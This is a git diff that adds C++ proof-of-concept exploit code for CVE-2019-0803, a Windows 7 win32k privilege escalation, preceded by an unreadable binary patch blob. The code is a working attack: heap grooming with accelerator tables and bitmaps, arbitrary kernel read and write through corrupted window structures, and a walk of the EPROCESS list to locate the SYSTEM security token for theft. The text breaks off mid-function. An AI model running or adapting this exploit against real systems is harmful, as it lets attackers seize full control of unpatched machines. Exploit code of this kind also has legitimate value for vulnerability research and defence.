z@8$L`!(HiqADkVlZhyT;jH6ospM{TI&Ehcj#)ZV})_ja&&se8y;@(kVo=j6G zN}aIm{?f3Z%3312&fmbXPciP?Ck{^2D@V%O%-UCIgi-{5`o8xasAo9RH*4#VE*Q{dF561q7~Kk2|JTI9ygWbw5-J4t~w?wOOGEeQk%ck*<2=XGP`s1Vcz=4=KtY+ zbW^vU@|9)=S3~}S0{v>3$-|3utc?03gnc@OA3z6VBb-haHO!3ve_K7Y)2j#BMdt^oqeC-qcfS zC979Y&_fRYC?GMF4E7Q`RK(s#_uehWs{Xoma#*iaNE)|NN{j4d?|&_ZKAEfC!TGfo zoLcaZ3JaXm6yDfTPuvnkdwp{`gK*^3vatL!4Ywo-fg!J);ChaddEGPNw%aPPqT$?w z-P|EYcd_VfAL^Pvc##g`2#;c{aP!Jx+;URw`lslk`W;+DdE-`IDM`-+dvIOey|_Jp z$0fysXys`t62!*hE)YU@;5i9#!9RTRl4%8&2DNczHkWBo8E(AH<|HnQ2DrqleW*Nqo|4>W&qZlXV1U|xO-DQx;` zfC88LIcB{2{bVZ})Y$ufjo}esq#tPi8z?xi;Ci6J23Y9K$XZ28bKF$wr;q9SKNY5( ze3srE=TST`LpiZ55o|*v&e?XasHCeo-|4MRk5Jo*O~U~$7V!%`HvF2h#m1}B77d-D zUdN9zyQ7s{<|E^E==h?sPDri`->|P>FL+D$<=+b822OGtcvdv;MLjaM10jS!fUsyX zy1Kbkvm!a?i94TqS`?(t<#dC4x3*)rd*_RG`nms@fnOu(O>RVT6|T6Dvf?p)@jSLH zIf%g&zy)z5K#3QwvB>WW{mTUj3EuFO|E&hB5<&TdO)u;X;?HF#VJ(V3|H_V|%PQbd z<;O}?TIqo|tQd%)s}z!H_siF9Uw4g6{!{eWw%w02r~lb<`PjlLcjmVDSF{dqlqHzm z?vtJr3G@%JUDqt?02JKcMX#*1xp|cMQYIS!y$b~7p0v%EyOF*(%?>_Z_>ZLbm{vZR zF*1P>*_$5I@Y&VvFT|ozi1Y}56_?#*Opbi}ZwQa8s;L_2z0zRY$@grd8;DTne(b?C zvedOTn9#_kcBR|a-sNv^$buB8hE(3G6uB$zYzUycA%oc+>E>LY>Acqw*XXAP%A0Q} zHf}fV;|maV^896|(WWKDvEJHV9e5qXX$J~$rO{`{aiZ2lF|5rIMD9Eu3@(Q|1Cw-q zKH`a}#3i6IX|Czo&Y}WdfH9hOru~8x)UQOBOEn5S4SE--Q=V~UL?E(Pqpj%CC?fqe6wIU0**DteojHA~iLr6HCL-}e>KzK}7AD7e%vgccLOd`R8>Q`}>vKR0<4y>55PM%gDs65Lpsrwrb z|IEjHZq{R9G-B`C%@c;%GBKO7nD=#_csbGQQ2U2l~=HpuVZtESD4t? zUJP}=&I|J(v$(8OnlvTnp z=ULwM-tG5G03}r8h#(x|&0Y6|0;FFj@HfoSpaRp8QZ8fddvFGM0MZZf?_*ytg}tF; zl5rFHH>5Y(yBB}E>SiMt^>5(sz`ya^JEWU=Kv?_zeN0VP-L|Q{Oq?I$y%1(=qaz{r zsKP1drKI@KN}iq_Y|2*CLhTP;Klb-RF0@P6KxpbrzLLrWyv=bsgi`pD$jHBYBwY~a zx9>L0Zlr%TvN-YaEVU`Tu@7tjEy?CXuooz(qZy(21j)^OFdA6aT&H3#*B8N2Qn8pAAu zDh<1hlbKP0CD(6@+1x*^3$Xpu_`FJ3_w!78n{SQPh^v33eWqRtB2~zQS&J*F;*tdV zSKq#NHFUOQGd5%(7sXGTvQm5CIP$OdV#zQTO9Y4M$PJ2M8`QfQjNX^hqx_sbk`*n} z5|!*hd5r>JFRdl4v=tt@aX8xz30d1ibG;aaa;vqM2pAvuvy`0L<3e;Ke-O(~X4I*t z>(W+_Vzx+v%v%#&bP)b%zY0uAAdM^<4b}P1y z@my9&37<_&<8;$?% zo+v7g zH4TD|WHTS?6$~tM7mX->c7+}a9b_IN1-?O$lAmTX$2lQqB68r*m&Xoe5=8s1j&*8! zofaf%M&6p44`fM`&r`QaUndObq<8Lpmw8t@bvY8v=UqWAPSPvSkyQ0I2(J!<%`FPS(R7jEjGAVSfvU9Z|C_^4FFOr`?x@BtK%1kefLR) zBmFT?2C|6RsvZk6sGDE(wIzrZsWMppAto8&KTXZ?d`>K;ahIRy@W(+3{ z89*bDV6~wG+7~eHqu70a7^M=^o`RyU2vNII;y%`#>pz4E_j}IDKt5B=uKz@5P>yC^ z%(HJ?q_CbdV|!Tp9^vExI?@>6dbF=+H?x9TndB+timpw|Qq@XG+YYWYM_p>Hj!JpU z)x{^vXjGu9oLwTIn)pOEo_t?l;Q3vLaJ+;JG%Ms@ zmE453X?MtDB*l|wucxh6H!s_eTsO758^D>_rP&^XY2u6T=!Y0#!((L~a>xf427>lV zJ7U_yl%%GA+-r7`cNTgQ9wVG39At^d`=^M}*w3!^eeKaQP%z4F+%A_b($3*xH99Fu zqOXWr>=28a0B>Vr`)&P4kSP+%vh?c>19xMQ%tsvVrzju)!3DAVzj??ZThUBe`4ms> zTcZR-SSdpz=Y4qlQadF2H}v@_-0B?!;?RH zOShn6m8puKkMoxZv(Tsw>A3o`&+@~+JixR7jS;ma5R!4qnm{PF;?;JhUef4#kI263 z-3#~nrGF;GtNX{Q<%?fU^IVmE?*L7Z%ba4!u29VMr1vq&@OM#teLX&KJAJ94#3Fbf zAC;qX3Tx-l?XE-*4}Mc8fx+ynO24oo&M|;Ck24P7Hry5gJ*o>hY62QE*Fekm+xt?! zllDx2)sanA%J05X^mN?Et|yyCyFHV7weWzCX!mvgA^G5)Px19@8IAnV@%s_85EjB? z78&!mVhZ!}g$}~)dhN6*pM*8Yo1Z(8`IR%!8SEYO8_P7^!KX#YT%}N()NbWr z6oA{mM#AIQ@&2#p-1k}j;j(kTpv^oSxuoM@wD5D1+qJ3b0Vei>+%0x4VMrI}@Z;2e zJ>qO#+kUzo!ep+!O6Gw=K2SzA;l%xj)Tps2AwFACibw>bZ7t9odC+e4G_8ImX2J6FXWmhK@EyUn0Wj%UK zICDlTC1uzJr@OF8-|N_9L&P&APN~2wc*yrPnBwcAFW*g5S%>j{=FvwP^m5sb7O(qT zBR!KN9S0=@DpI0HlgfjuFOS2&JQN&Wn;V2@IoYXnckX|6EzT3~>IQfFCttCGg`J5Q z!Zr%$SdBQl(6-OU=8}FrZPH;&PV}A6=1aV^l0PW5(Wtsn?)%@hH39CeCEBsU5TH}IlO z=1!K|2;^bK!qq+g)G{BLp4Yr5hmYz`xYVLG1Qa2Mk_Ws=6`DDzB!qV0DVJESlaI&z ze!350>NiMJ`Ke+Jl0U_Ku3BFW0 z;sFL*Iy%MFp#*+NFD@<*yzPIhP(dO!p?^n+Z>|tbiM$zV+?*xH&&`06>WSSFs{kWB zJET}lQ>y%T*PY4qUq3trR`+jfXWAo>M5SbWU^ZobbJUdIW<-LmONUUt+jfJFNVtLi z4XBJ0#^DmOK4@HgR^Km;i~}MUxj~>1aSF(EFH_1mL_Z4Vr5!DnMzVOnyS&uqn?lK) zbx%Rfmv88;4~GI9`$f=Tv)qzVLjK|EP`cBdCdMo-cdnu2QN4yj!Q5c;m`@BzJWx4C zXSSdRaRNDygDu94rFY@=Arnjd0YU<{h#xM9F*GFCs_8vS6>s8fwS}UpaEY%LG*1n= z9v)wkH0ImZ9N(m)V@#M5;MKhz{(?`mA|}HnSVZzsk#TNm@U1c&cv&{#yFr4cs%~`k zYh>SxY>S?zlkw}U7p{F52-399#Pi6zbE2u=K5<9fd(ARDm(%^Ba2T2zA}MO#0P(Zz zm?OrQYs(CODAokH=xW=>+d$FYI#L z8>^Cdq*J#)LzYGadavS5%DR>C-aesMWj%boZz*W9_+HjsY*oG|w9U=w0AEC}2=IPZ zjvo997YWKHSPCMMPQCAnUO)QAdUTVYoh|IWe~n>Z7u3O`kP+qfm3wvNml3UUfiS+<4&KFxEz#)F?z7wgH@uXu(yo+)0J zGSLJaRs>gDNf2bF?Hp+37i@5WbRS3aC{Uhv#1d^bdRDRXxoGgv* zYt2H&pqqE#=il3sLdigM$|MoF^N}HG3pW#ao>1Ep$Uq*o=ksN0bg9B(-%w2fpXbex zRtBl{Z#FTH&j)@V=j*)l&K+mI_a}Lt^O_34ZwUX?niuvLu3XZEu|)g>WBr?6J%HuX zH47Va1#q6Tuz`M>?xh$Jc32AYIi7k5%f6PFXz}6iZB)3D48MTCU~yrZEX=bA{`YH2 zD-AMT4Yp2gKVWx!QI0>-lj00MPUu-4`!`MJ`qy3^ek1BKS?e-+3({;welV&#Dm`Er zB@`s$b_ljU<5oeAjc|(@xVEZPN$R&P#@v+Y0N(!+ls?JB7dEVd@7tI?a5d!2S>ESPJ!U3?~{6TdJFQ6;#d7hZu4F~s9n~HL z$Wn@2C7#~z_P^>B_O^A(jU^RW)e;XL0^EKNSR>6|S%BQUKQqnr;jfoZ!Xx5LZbrW1 zZ6bz#yrbglX))Vy8=i7G_0%+8{SWZWxVu@DcTS-HH0~yJL&nc6>@MscYG(Rdz7hNW z+~J5`{LO}l>FLE|o5}8t8j-~l`--=4{p=jBIG`)pMh+_t{m#3$7B=DFANEt z;V}-}Egx^^J?D6?LVcYh0~Bd(>QE?O>XxD7Z(@XU9gxK7D*x8@m*4T($Yl&HkHr~X-W+c_9H<+>uHDI# zB@kujn{WFLcw8TA*x$uxTJ^Z(>zt`pVWw)iuo%lg)q|+nv27x2tH4%oRosT%4HpEy zx&^Vb@!@ltCW!UTqxNfgBD!x znBwgk4>In8K+i2}6_V}pe~X7xfH7{&Pp2f&!PsVX>D&% zs{0UXXq~WqW4bY-N5P)vK^sxJpwKUN9^*mCmea-b+=hc`Xo#xgxJRVEBchQ7>x3o) zB@Vc!qqH5*7?*#1wayD`YT5Un46*q*`|!T6FFbx&yag1BND>>GU-e(?_RtBC+5C3J zVRu2c{_@UOH~T3!p`gRPuc;;LZVr#IP40VUKJgHg=0#fmjc-QJQ_T}1XV+`W_|!p4 zzN0G8H)%sWKee<@}8EuY>l)i{+pBglQdWFvyK<*xTA4m1SDJ%dPU9 zTc`6nh94a5<^1r7)cmLFOi{jBeIXW@&S5S&npJ_Q6|bPdp+Jovva2O^WFX0Q zk(Mgm3e;{yHhc*`D!UZGGv<3H0zW9ADb-EtTU$SR7ckhu?on+)kXt3tf`aT4j9Ddz zx3d>fJlbL2{L zKd=~2@auvNl>p+YJXnyuUKj)--#x0@sD62P=MV|-rmzYdedZ}#e^O+r@3QAS^wj`a&I!=+=42?phl76fpJsafPWSZ zpheO0M+bY2N99=Gb&*S85GcsH-fiLo<=#}$V5lgdEI%1`lY#;zSyapz{j-3h51v1+ zrBgLygrxD2K%i~4+GdU`>O&;w311Nq=mY!UtCFGA)T&5~79LnVZgJ*Ce(Io#N#qSc zu0xJHmf6p1#YdmRfBkFr;-=A+NX{#7D}4USqLHsSK%A)H-PvO;YU;lT0!enToE=y4 zm{X1euhByn&TW8hHTZy^k&`i-hZ3aZ@wDl%_363T@-_q*hb>QaZW}oua#E?CO&&~~ z+P%59)~9cshK44AE44#=#y%wHrUJaEyRvs>QQwJ^dRM`-L-yA;^(?h@XMcb-A`L zpoy4GQ5RP6VEDrCn=%zpjpN1znI@bW>a=&J;7qsslh-k1&~Hx9_by0F#%1QIfza^a zuuX}DMYUUOtdY0`e~OIvMnX=#$MdsczS(_ftV1OFcdfia`8%hq8RIu0J^OQIBBfuP zddQTva$$5BGfs2w1ch}DyhO?4x>q9f^H7zz-HjN6;Vi~xc1{r^k(Wr=i!qcW*FKwy z%-zbIfv||k^3U(& z$!%weJ?i2qo}J}2lf3K2-EZri@imP}Q$?;JCSpA<>&uE*1&=0|_~rNtV)~ZNFL{)z z1z`pohNfc< z@pBG;4e)t{XTNQ)R)23l-1w{h>&yJnCuhIB{Q0=^^w0VqgOBDvH6LUCUBlnJZkV3w zWA2_gGCNo+XJ+ksJEmoJ%_-LH;*O5);0`6e!yJw*;mVnF`#dtw%oDR}%D7X(s&BAD z+q^XmjBc5ItMM|VP+Hy;%vbTOP0Xoc)I;+CGhf4|613?-N*}UHuybI3#HwYpgpqx- zU`HI-r_}ujBNw6j4&>y_*SO{VDlm7=B#H= zV?T1_1M?+D(gUZ^kl#6rbM_(Ocr-)Dv?1C5Q0K_bE@ta&qK z+#T}`p1!l0$*erY$UeN@v-kS2N-$kS#F@QsM>y>v*K)`Tw5#6Ja_L0?Z z2oy*j-a$@iHVJyg$2B|ONAY85z&S)+2{}OQy&C0d3*YzfOuRvD!YnAn`q9p8E2&m$ zU$$A4e_i&w{2Rc>eONuYw)nQ|+(Jfcw{51r7{x-Z&Mx^ntS*}^)Tj+xho8XOofwm> z+if6REOa$ewVXlyCQ^wjB14d@v+}4qS^USEv4C9Whu>?cek;g>Ca&kWO28CzuL%v8 z@Qm7SAg6hc<8MLti#ivsoC9iIHtn~e^{Kg!%E>xB6L%BV)rBi-z%24R+`vfn4||qm zn;Ta^HSoLWxQ>xCpFz|6&`xvhHX@ZS!Plb@te)1RWj(1RtX%s*4?A&IB#378=RHK3 zvCU!+#~lKPXOMUR#AWjW@uBu#2ZP85F=H&U;YVzK2o#0-jAsi;Nz{HC&+sENK*o{< z4Xv+c&9=D>?0%RJ9+{i4myzH)X}ZgZA0T%YM%^^8a<;>> z@3&xa$9izfR=^FcxQ>x0_^XA8kq>j`TJV%LSD%J_GUz(44Mc`Nr6#lXK8iVHgt({SN#~M19Ai~7ZSDoA(;Pm61ob|7Tn*XF zeaTaF6JgxKh{QAbAVVVX4#uiAVnmm*ffhAv)|63ao9G`!)W4?fEoE5gY|D~c(jEOc zX+o90M%t_6-w0xLWHT>u#{T&&X6-jnkhF-hCJ*&(P zqDtQg$ISzcE(_QrLhSoqB-%rKi(j2w<@Kc)3uGRWf6Vf+>ytQW z+(q;7-sE*?H<>qgL_9%Y1(a2^Do^s5NV@FIE~-J_dZ&foZA45YCS#s%dDqsYBJ|`w z?X^Wb&n|Z2RoDxP@Z=`ET><)5u>KI=hw;u%P6>o@=i$Ff%yHRI-K@!8qxXq)dQMQM zXctS;@?i3c^a;-z`p|Sgwq%_BI#O1YimYsU1~zoym7eu4`+?Juams_or>#4k$2&Z@ z$`Fm}jMyDk2v?Ux@|MLvGnc(UIvw*_cJAD7u+o(AY%At2>{n^N6lOF1sYuK&s|3kS ziyUU?5>7!DV-DgZ{+DAkBb@Zh+|l|Z2;rF)dxYOF!am`1<4yRTCyi3;T_oKMe|4?p z(|DbB5?_aPAoVq}khOrdGI=5-EQt(`;{<2P%FY_q1?HvJ=Hr}S$7-(c5&5zPJD&3+ zdj#*$`jD>?U$XyVwPL2z8{<}0e{fdW=HI~1ATyjk$Iq$Ii+QZYT|^<)eh#)eHYzp1 z&Gye2$g0R)lo_rfqFQ;ykDAjJXiU79f%gWkG{#-V><+3)csAvBN$kW8^t%B@(Vvcc zpCFI+VFB+}umaD$p5c2J-&ygFN7-J1zTev?tgZ|34FBG}_+C=qE_7#nTK2g+9c#i@ z4b;ROv_Bb*k(H;7x)fbr~TOR&T56=_n)NuJuVv}c?Y#QxmWsnnn1n%B)grr#EW%=Xl)HMLSJIBq&;HDirzJ-gM%bb@%yg$)7m+!` z8Hj(+VbzWE>!M^@l8I|INoJ$gJHIcA5BjwVusC;i;@>+5Ag? zE(1f!eRKhcNy}>I5$Vn);JXYgE~9>|*=X=&u!^ez{40ko;yK4G+EK}K#qr~6K=@-D zVJA1e8i$x4ce)-{kwsLb0d(Y!K&^H7B`=hHwe}#z@MO<&EmllcSbyIx{%XQEJXesD zQy)JX)tOiq<&BC5#lke{f?csK+0V+5&YcExdIhmyMpMVM{+7j~S-U$kMiDRGQLEU4 zlK9TL|Gs#NA(@#qrz9sMR7dyblbm?cdra!;S4>})?0NDRYE(KNd``<+PJA@rCDwG6 z5e1wqjSu;{gb~vY?ifHA0pC(agZm`WROBS1;`4_d#-{Uy2;P(TVw0EurF$ z(?@DXI{Orz6qQ;pc%mk=&PSZVG1kxyvRJ;m2c{4;eL|@xMj%?dvUIB=li==jJBu?kYGL4Dkkd5*NE1mIWWufEwPm=3o)izxpMmLGkG`k#^ zjDTk%K~L4l#m4hUzUx>;4)8zlny9C=OU_0=lt)HDA~UH2mXIG+C5@uw#59)qFO^Q@ A!vFvP literal 0 HcmV?d00001 diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp new file mode 100644 index 0000000..633fe8b --- /dev/null +++ b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp @@ -0,0 +1,570 @@ +#include "stdafx.h" + +PSHAREDINFO gSharedInfo = NULL; + +HWND hwndIcon1 = NULL; +HWND hwndIcon2 = NULL; +PBYTE pwndIcon1 = NULL; +PBYTE pwndIcon2 = NULL; + +HWND hwndMenu = NULL; + +unsigned long long MySecTokenAddr = NULL; +unsigned long long MyEPROCESSAddr = NULL; + +HDC hdc = NULL; +HGDIOBJ hgdiObj = NULL; +PBYTE pgdiObj = NULL; + +HBITMAP hBitmap[1000] = { NULL }; + +static PBYTE buffFakePal = NULL; +static LPACCEL buffAccTabl = NULL; + +unsigned long long SystemSecurityTokenAddr = NULL; + +static BOOL xxInitExploitInfo(VOID) +{ + gSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32"), "gSharedInfo"); + return TRUE; +} + +static BOOL xxZeroIconWindow2strName(VOID) +{ + DWORD offset = (DWORD)((pwndIcon2 + OFFSET_STRNAME_WIN7) - (pwndIcon1 + LENGTH_TAGWND)); + + DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0); + DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4); + DWORD dwori3 = GetWindowLong(hwndIcon1, offset + 0x8); + DWORD dwori4 = GetWindowLong(hwndIcon1, offset + 0xC); + + SetWindowLongW(hwndIcon1, offset + 0x0, 0); + SetWindowLongW(hwndIcon1, offset + 0x4, 0); + SetWindowLongW(hwndIcon1, offset + 0x8, 0); + SetWindowLongW(hwndIcon1, offset + 0xC, 0); + + WCHAR szPath[100] = {}; + GetWindowText(hwndIcon2, szPath, 100); + printf("[*]text:%ws\n", szPath); + + if (wcslen(szPath) == 0) + { + SetWindowLongW(hwndIcon1, offset + 0x0, dwori1); + SetWindowLongW(hwndIcon1, offset + 0x4, dwori2); + SetWindowLongW(hwndIcon1, offset + 0x8, dwori3); + SetWindowLongW(hwndIcon1, offset + 0xC, dwori4); + return TRUE; + } + else + { + return FALSE; + } +} + +typedef struct _LARGE_UNICODE_STRING +{ + ULONG Length; // 000 + ULONG MaximumLength : 31; // 004 + ULONG bAnsi : 1; // 004 + PWSTR Buffer; // 008 +} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING; + +static BOOL WriteKernelAddress(UINT64 qwAddress, LPWSTR content) +{ + DWORD offset = (DWORD)((pwndIcon2 + OFFSET_STRNAME_WIN7) - (pwndIcon1 + LENGTH_TAGWND)); + + //ע:ﲻҪLARGE_UNICODE_STRINGijֶó0 + //DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0); + //DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4); + DWORD dwori3 = GetWindowLong(hwndIcon1, offset + 0x8); + DWORD dwori4 = GetWindowLong(hwndIcon1, offset + 0xC); + + //SetWindowLongW(hwndIcon1, offset + 0x0, 0); + //SetWindowLongW(hwndIcon1, offset + 0x4, 0); + SetWindowLongW(hwndIcon1, offset + 0x8, (qwAddress & 0xffffffff)); + SetWindowLongW(hwndIcon1, offset + 0xC, (qwAddress & 0xffffffff00000000) >> 32); + + SetWindowText(hwndIcon2, content); + + //SetWindowLongW(hwndIcon1, offset + 0x0, dwori1); + //SetWindowLongW(hwndIcon1, offset + 0x4, dwori2); + SetWindowLongW(hwndIcon1, offset + 0x8, dwori3); + SetWindowLongW(hwndIcon1, offset + 0xC, dwori4); + + return TRUE; +} + +static int ReadKernelAddress(UINT64 qwAddress) +{ + DWORD offset = (DWORD)((pwndIcon2 + OFFSET_SPWNDPARENT_WIN7) - (pwndIcon1 + LENGTH_TAGWND)); + + DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0); + DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4); + + SetWindowLongW(hwndIcon1, offset + 0x0, (qwAddress & 0xffffffff)); + SetWindowLongW(hwndIcon1, offset + 0x4, (qwAddress & 0xffffffff00000000) >> 32); + + unsigned int read = (int)GetAncestor(hwndIcon2, GA_PARENT); + + SetWindowLongW(hwndIcon1, offset + 0x0, dwori1); + SetWindowLongW(hwndIcon1, offset + 0x4, dwori2); + + return read; +} + +unsigned long long ReadPtrFromKernelMemory(unsigned long long addr) { + unsigned int LowAddr = ReadKernelAddress(addr); + unsigned int HighAddr = ReadKernelAddress(addr + 4); + unsigned long long Addr = ((unsigned long long)HighAddr << 32) + LowAddr; + return Addr; +} + +typedef struct _HEAD +{ + HANDLE h; + DWORD cLockObj; +} HEAD, * PHEAD; + +typedef struct _THROBJHEAD +{ + HEAD h; + PVOID pti; +} THROBJHEAD, * PTHROBJHEAD; + + +typedef struct _THRDESKHEAD +{ + THROBJHEAD h; + PVOID rpdesk; + PVOID pSelf; // points to the kernel mode address +} THRDESKHEAD, * PTHRDESKHEAD; + + +void FindSecurityTokens() { + unsigned long long pti = (unsigned long long)(&((THRDESKHEAD*)pwndIcon1)->h.pti); + printf("[*]Searching for current processes EPROCESS structure\n"); + + unsigned long long ptiaddress = ReadPtrFromKernelMemory(pti); + printf("\tptiaddress == %llx\n", ptiaddress); + + unsigned long long threadTagPointer = ReadPtrFromKernelMemory(ptiaddress); + printf("\ttagTHREAD == %llx\n", threadTagPointer); + + unsigned long long kapcStateAddr = ReadPtrFromKernelMemory(threadTagPointer + OFFSET_APCADDR_WIN7); + printf("\tkapc_stateAddr == %llx\n", kapcStateAddr); + + MyEPROCESSAddr = ReadPtrFromKernelMemory(kapcStateAddr + OFFSET_APCEPROCESS_WIN7); + + MySecTokenAddr = ReadPtrFromKernelMemory(MyEPROCESSAddr + OFFSET_SECTOKEN_WIN7); + printf("\tOriginal security token pointer: 0x%llx\n", MySecTokenAddr); + + printf("[*]Searching for SYSTEM security token address\n"); + + unsigned long long nextProc = ReadPtrFromKernelMemory(MyEPROCESSAddr + OFFSET_EPROCESSBLINK_WIN7) - OFFSET_EPROCESSBLINK_WIN7; + printf("\tNext eprocess address: 0x%llx\n", nextProc); + + unsigned int pid = ReadKernelAddress(nextProc + OFFSET_EPROCESSPID_WIN7); + printf("\tFound pid: 0x%X\n", pid); + + while (true) { + nextProc = ReadPtrFromKernelMemory(nextProc + OFFSET_EPROCESSBLINK_WIN7) - OFFSET_EPROCESSBLINK_WIN7; + printf("\tNext eprocess address: 0x%llx\n", nextProc); + + pid = ReadKernelAddress(nextProc + OFFSET_EPROCESSPID_WIN7); + printf("\tFound pid: 0x%X\n", pid); + //Step 9.2 + if (pid == 4) { + printf("\ttarget process found!\n"); + SystemSecurityTokenAddr = ReadPtrFromKernelMemory(nextProc + OFFSET_SECTOKEN_WIN7); + break; + } + } +} + +static BOOL xxCreateIconWindowEx(VOID) +{ + // icon + HWND hwnd1 = CreateWindowExW(0, + L"#32772", + NULL, + WS_MINIMIZE | WS_DISABLED, + 0, + 0, + 0, + 0, + NULL, + NULL, + NULL, + NULL); + // icon + HWND hwnd2 = CreateWindowExW(0, + L"#32772", + NULL, + WS_MINIMIZE | WS_DISABLED, + 0, + 0, + 0, + 0, + NULL, + NULL, + NULL, + NULL); + + PSERVERINFO psi = gSharedInfo->psi; + PHANDLEENTRY phe = gSharedInfo->aheList; + + PBYTE pwnd1 = NULL; + PBYTE pwnd2 = NULL; + + for (ULONG c = 0; c < psi->cHandleEntries; c++) + { + if ((HWND)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hwnd1) + { + pwnd1 = (PBYTE)phe[c].phead; + break; + } + } + for (ULONG c = 0; c < psi->cHandleEntries; c++) + { + if ((HWND)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hwnd2) + { + pwnd2 = (PBYTE)phe[c].phead; + break; + } + } + if (pwnd1 <= pwnd2) + { + pwndIcon1 = pwnd1; + hwndIcon1 = hwnd1; + pwndIcon2 = pwnd2; + hwndIcon2 = hwnd2; + } + else + { + pwndIcon1 = pwnd2; + hwndIcon1 = hwnd2; + pwndIcon2 = pwnd1; + hwndIcon2 = hwnd1; + } + printf("[+]WND1: %p, WND2: %p\n", pwndIcon1, pwndIcon2); + return TRUE; +} + +static BOOL xxTriggerExploitEx(VOID) +{ + DWORD count = 0; + + HACCEL hAccel1[1000] = { NULL }; + HACCEL hAccel2[1000] = { NULL }; + + for (UINT i = 0; i < 200; i++) + { + //ڴ϶ȷ0x350СڴƬ϶պñBitmapDIBռӳ + LPACCEL Entries = (LPACCEL)malloc(132 * sizeof(Entries)); + for (UINT i = 0; i < 132; i++) + { + Entries[i].fVirt = FCONTROL; + Entries[i].key = 0x1234; + Entries[i].cmd = 0x4444; + } + hAccel1[i] = NtUserCreateAcceleratorTable(Entries, 132); + if (hAccel1[i] == NULL) + { + break; + } + } + + //ռ + for (UINT i = 0; i < 1000; i++) + { + LPACCEL Entries = (LPACCEL)malloc(533 * sizeof(Entries)); + for (UINT i = 0; i < 533; i++) + { + Entries[i].fVirt = FCONTROL; + Entries[i].key = 0x1234; + Entries[i].cmd = 0x4444; + } + hAccel2[i] = NtUserCreateAcceleratorTable(Entries, 533); + } + for (UINT i = 0; i < 400; i++) + { + hBitmap[i] = CreateBitmap(16, 16, 1, 8, NULL); + if (hBitmap[i] == NULL) + { + break; + } + } + hwndMenu = CreateWindowExW(WS_EX_DLGMODALFRAME | WS_EX_LEFTSCROLLBAR | WS_EX_NOINHERITLAYOUT | WS_EX_LAYOUTRTL | WS_EX_COMPOSITED, + L"#32768", + L"bar", + 0x43A | WS_MAXIMIZEBOX | WS_VSCROLL | WS_CAPTION | WS_MAXIMIZE, + 58, + 18, + 60, + -23, + NULL, + NULL, + NULL, + NULL); + NtUserShowWindow(hwndMenu, 0); + UpdateWindow(hwndMenu); + + PAINTSTRUCT paint = { 0 }; + hdc = NtUserBeginPaint(hwndMenu, &paint); + hgdiObj = GetCurrentObject(hdc, OBJ_BITMAP); + + pgdiObj = *(PBYTE *)((*(PBYTE *)((*(PBYTE *)(__readgsqword(0x30) + 0x60)) + 0xF8)) + sizeof(HANDLEENTRY) * (WORD)(DWORD_PTR)hgdiObj); + + for (UINT i = 400; i < 800; i++) + { + hBitmap[i] = CreateBitmap(16, 16, 1, 8, NULL); + if (hBitmap[i] == NULL) + { + break; + } + } + + for (UINT i = 0; i < 1000; i++) + { + PBYTE pacc = NULL; + HACCEL hacc = hAccel2[i]; + PHANDLEENTRY phe = gSharedInfo->aheList; + for (UINT c = 0; c < gSharedInfo->psi->cHandleEntries; c++) + { + if ((HACCEL)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hacc) + { + pacc = (PBYTE)phe[c].phead; + break; + } + } + if (pgdiObj == pacc + 0xCB0) + { + Sleep(1000); + return TRUE; + } + } + + return FALSE; +} + +static VOID xxBuildGlobalAccTableEx(PVOID pcbWndExtra) +{ + DWORD num = 0; + if (buffFakePal == NULL) + { + buffFakePal = (PBYTE)malloc(0x98); // PALETTE + ZeroMemory(buffFakePal, 0x98); + *(PVOID *)(buffFakePal + 0x80) = pcbWndExtra; //DBItagRGBQUADַ޸ΪһWndExtraĵַ + *(DWORD *)(buffFakePal + 0x1C) = 1; // PALETTE->cEntries + *(PVOID *)(buffFakePal + 0x88) = # + } + if (buffAccTabl == NULL) + { + buffAccTabl = (LPACCEL)malloc(sizeof(ACCEL) * 132); + ZeroMemory(buffAccTabl, sizeof(ACCEL) * 132); + } + + for (UINT i = 0; i < 132; i++) + { + buffAccTabl[i].fVirt = FCONTROL; + buffAccTabl[i].key = 0x1234; + buffAccTabl[i].cmd = 0x4444; + } + buffAccTabl[11].key = 2; + buffAccTabl[11].cmd = 0; + buffAccTabl[12].fVirt = 0; + buffAccTabl[12].key = 0; + + *(WORD *)&buffAccTabl[15].key = (WORD)((DWORD_PTR)buffFakePal); + *(WORD *)&buffAccTabl[15].cmd = (WORD)((DWORD_PTR)buffFakePal >> 16); + *(WORD *)&buffAccTabl[16].fVirt = (WORD)((DWORD_PTR)buffFakePal >> 32); + *(WORD *)&buffAccTabl[16].key = (WORD)((DWORD_PTR)buffFakePal >> 48); +} + +INT PocMain2() +{ + WCHAR szExePath[MAX_PATH] = { 0 }; + GetModuleFileNameW(NULL, szExePath, MAX_PATH); + + std::cout << "-------------------" << std::endl; + std::cout << "POC - CVE-2019-0803" << std::endl; + std::cout << "-------------------" << std::endl; + + DWORD times = 0; + + xxInitExploitInfo(); + xxCreateIconWindowEx(); + + SetWindowText(hwndIcon2, L"abc"); + + BOOL bReturn = FALSE; + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + + si = { 0 }; + pi = { 0 }; + si.cb = sizeof(STARTUPINFO); + bReturn = CreateProcessW(szExePath, + (LPWSTR)L" DDEServer", + NULL, + NULL, + FALSE, + NULL, + NULL, + NULL, + &si, + &pi); + if (!bReturn) + { + return 0; + } + + do + { + printf("[+]trying %d times \r\n", times); + if (xxTriggerExploitEx()) + { + printf("[!]xxTriggerExploitEx Success \r\n"); + break; + } + NtUserDestroyWindow(hwndMenu); + } while (++times < 10); + + HWND hwndSrever = NULL; + do + { + hwndSrever = FindWindowW(NULL, L"DDEServerPoc"); + } while (hwndSrever == NULL && (Sleep(300), TRUE)); + + //֮ǰȡGDIDDEServer֮滻© + SendMessageW(hwndSrever, MSG_DDESERVER_SET_GDI_OBJ_ADDR, (WPARAM)hgdiObj, NULL); + + //getchar(); + si = { 0 